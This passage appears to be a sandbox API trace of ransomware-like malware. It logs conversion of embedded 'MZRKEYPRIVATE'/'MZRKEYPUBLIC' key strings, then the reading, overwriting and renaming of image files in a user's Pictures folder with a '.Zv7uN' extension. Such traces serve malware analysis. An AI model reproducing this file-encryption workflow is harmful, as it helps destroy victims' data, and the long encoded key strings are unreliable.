wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f55b3c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.072] GetCurrentThreadId () returned 0xa30 [0085.072] GetCurrentThreadId () returned 0xa30 [0085.072] GetCurrentThreadId () returned 0xa30 [0085.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f66b9c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.073] GetCurrentThreadId () returned 0xa30 [0085.073] GetCurrentThreadId () returned 0xa30 [0085.073] GetCurrentThreadId () returned 0xa30 [0085.073] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\drHcU2ILp K.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\drhcu2ilp k.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0085.073] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0085.073] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0085.073] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0xbb1 [0085.074] SetFilePointer (in: hFile=0x110, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0085.074] ReadFile (in: hFile=0x110, lpBuffer=0x1f6e9a0, nNumberOfBytesToRead=0xbb1, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f6e9a0*, lpNumberOfBytesRead=0x18f6a0*=0xbb1, lpOverlapped=0x0) returned 1 [0085.075] CloseHandle (hObject=0x110) returned 1 [0085.075] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\drHcU2ILp K.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\drhcu2ilp k.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0085.077] WriteFile (in: hFile=0x110, lpBuffer=0x1f709d0*, nNumberOfBytesToWrite=0xbb1, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f709d0*, lpNumberOfBytesWritten=0x18f6ac*=0xbb1, lpOverlapped=0x0) returned 1 [0085.079] CloseHandle (hObject=0x110) returned 1 [0085.080] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\drHcU2ILp K.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\drhcu2ilp k.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\drHcU2ILp K.gif.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\drhcu2ilp k.gif.zv7un")) returned 1 [0085.081] GetCurrentThreadId () returned 0xa30 [0085.081] GetCurrentThreadId () returned 0xa30 [0085.081] GetCurrentThreadId () returned 0xa30 [0085.081] GetCurrentThreadId () returned 0xa30 [0085.081] GetCurrentThreadId () returned 0xa30 [0085.081] GetCurrentThreadId () returned 0xa30 [0085.081] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd677cd0, ftCreationTime.dwHighDateTime=0x1d5e027, ftLastAccessTime.dwLowDateTime=0x3f6e1e50, ftLastAccessTime.dwHighDateTime=0x1d5e757, ftLastWriteTime.dwLowDateTime=0x3f6e1e50, ftLastWriteTime.dwHighDateTime=0x1d5e757, nFileSizeHigh=0x0, nFileSizeLow=0x7fde, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="fEw6FTan.jpg", cAlternateFileName="")) returned 1 [0085.081] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0085.081] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0085.082] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\fEw6FTan.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\few6ftan.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd677cd0, ftCreationTime.dwHighDateTime=0x1d5e027, ftLastAccessTime.dwLowDateTime=0x3f6e1e50, ftLastAccessTime.dwHighDateTime=0x1d5e757, ftLastWriteTime.dwLowDateTime=0x3f6e1e50, ftLastWriteTime.dwHighDateTime=0x1d5e757, nFileSizeHigh=0x0, nFileSizeLow=0x7fde)) returned 1 [0085.082] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\fEw6FTan.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\few6ftan.jpg")) returned 0x20 [0085.082] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\fEw6FTan.jpg", dwFileAttributes=0x80) returned 1 [0085.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f4e80c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6